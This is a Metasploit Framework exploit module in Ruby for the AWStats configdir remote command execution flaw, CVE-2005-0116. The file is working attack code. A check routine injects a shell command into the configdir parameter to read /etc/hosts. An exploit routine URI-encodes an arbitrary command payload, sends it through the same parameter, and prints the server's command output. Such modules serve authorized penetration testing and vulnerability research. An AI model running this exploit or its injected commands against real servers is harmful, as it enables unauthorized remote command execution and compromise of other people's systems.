root / modules / exploits / unix / webapp / awstats_configdir_exec.rb @ master
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote |
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Rank = ExcellentRanking |
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include Msf::Exploit::Remote::HttpClient |
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def initialize(info = {}) |
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super(update_info(info,
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'Name' => 'AWStats configdir Remote Command Execution', |
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'Description' => %q{ |
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This module exploits an arbitrary command execution vulnerability in the |
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AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 |
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are vulnerable. |
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},
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'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ], |
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'License' => MSF_LICENSE, |
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'Version' => '$Revision$', |
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'References' =>
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[ |
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['CVE', '2005-0116'], |
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['OSVDB', '13002'], |
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['BID', '12298'], |
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['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'], |
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], |
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'Privileged' => false, |
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'Payload' =>
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{
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'DisableNops' => true, |
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'Space' => 512, |
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'Compat' =>
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{
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'PayloadType' => 'cmd', |
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'RequiredCmd' => 'generic perl ruby bash telnet', |
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} |
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}, |
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'Platform' => 'unix', |
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'Arch' => ARCH_CMD, |
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'Targets' => [[ 'Automatic', { }]], |
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'DisclosureDate' => 'Jan 15 2005', |
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'DefaultTarget' => 0)) |
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register_options( |
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[ |
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OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), |
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], self.class)
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end
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def check |
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res = send_request_cgi({
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'uri' => datastore['URI'], |
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'vars_get' =>
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{
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'configdir' => '|echo;cat /etc/hosts;echo|' |
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} |
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}, 25)
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if (res and res.body.match(/localhost/)) |
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return Exploit::CheckCode::Vulnerable |
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end
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return Exploit::CheckCode::Safe |
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end
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def exploit |
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command = Rex::Text.uri_encode(payload.encoded) |
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urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|" |
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res = send_request_raw({
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'uri' => urlconfigdir,
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'method' => 'GET', |
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'headers' =>
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{
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'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
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'Connection' => 'Close', |
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} |
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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m = res.body.match(/YYY\n(.*)\nYYY/m)
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if (m)
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print_status("Command output from the server:")
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print("\n" + m[1] + "\n\n") |
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else
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print_status("This server may not be vulnerable")
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end
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else
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print_status("No response from the server")
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end
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end
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end
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